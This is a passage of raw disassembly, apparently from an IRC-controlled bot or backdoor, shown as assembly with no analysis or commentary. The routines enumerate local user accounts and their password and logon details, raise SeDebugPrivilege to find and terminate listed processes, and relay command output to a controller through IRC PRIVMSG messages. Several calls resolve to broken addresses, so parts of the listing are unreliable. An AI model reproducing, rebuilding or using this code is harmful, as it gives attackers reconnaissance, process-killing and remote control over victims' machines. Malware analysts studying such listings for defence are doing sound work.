ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26B0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2700543h push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 265092Ah mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2801157h nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 26F0B2Fh test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 26F0B2Fh nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 267090Eh nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 26F0B2Fh test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 265092Ah loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 256B96E8h, 0E3EB9002h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC nop call near ptr 26E0000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 26705B3h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 nop call near ptr 2801A35h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 call near ptr 28015A1h nop test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 26705B3h nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 call near ptr 26F0000h nop test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26D0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26D0000h 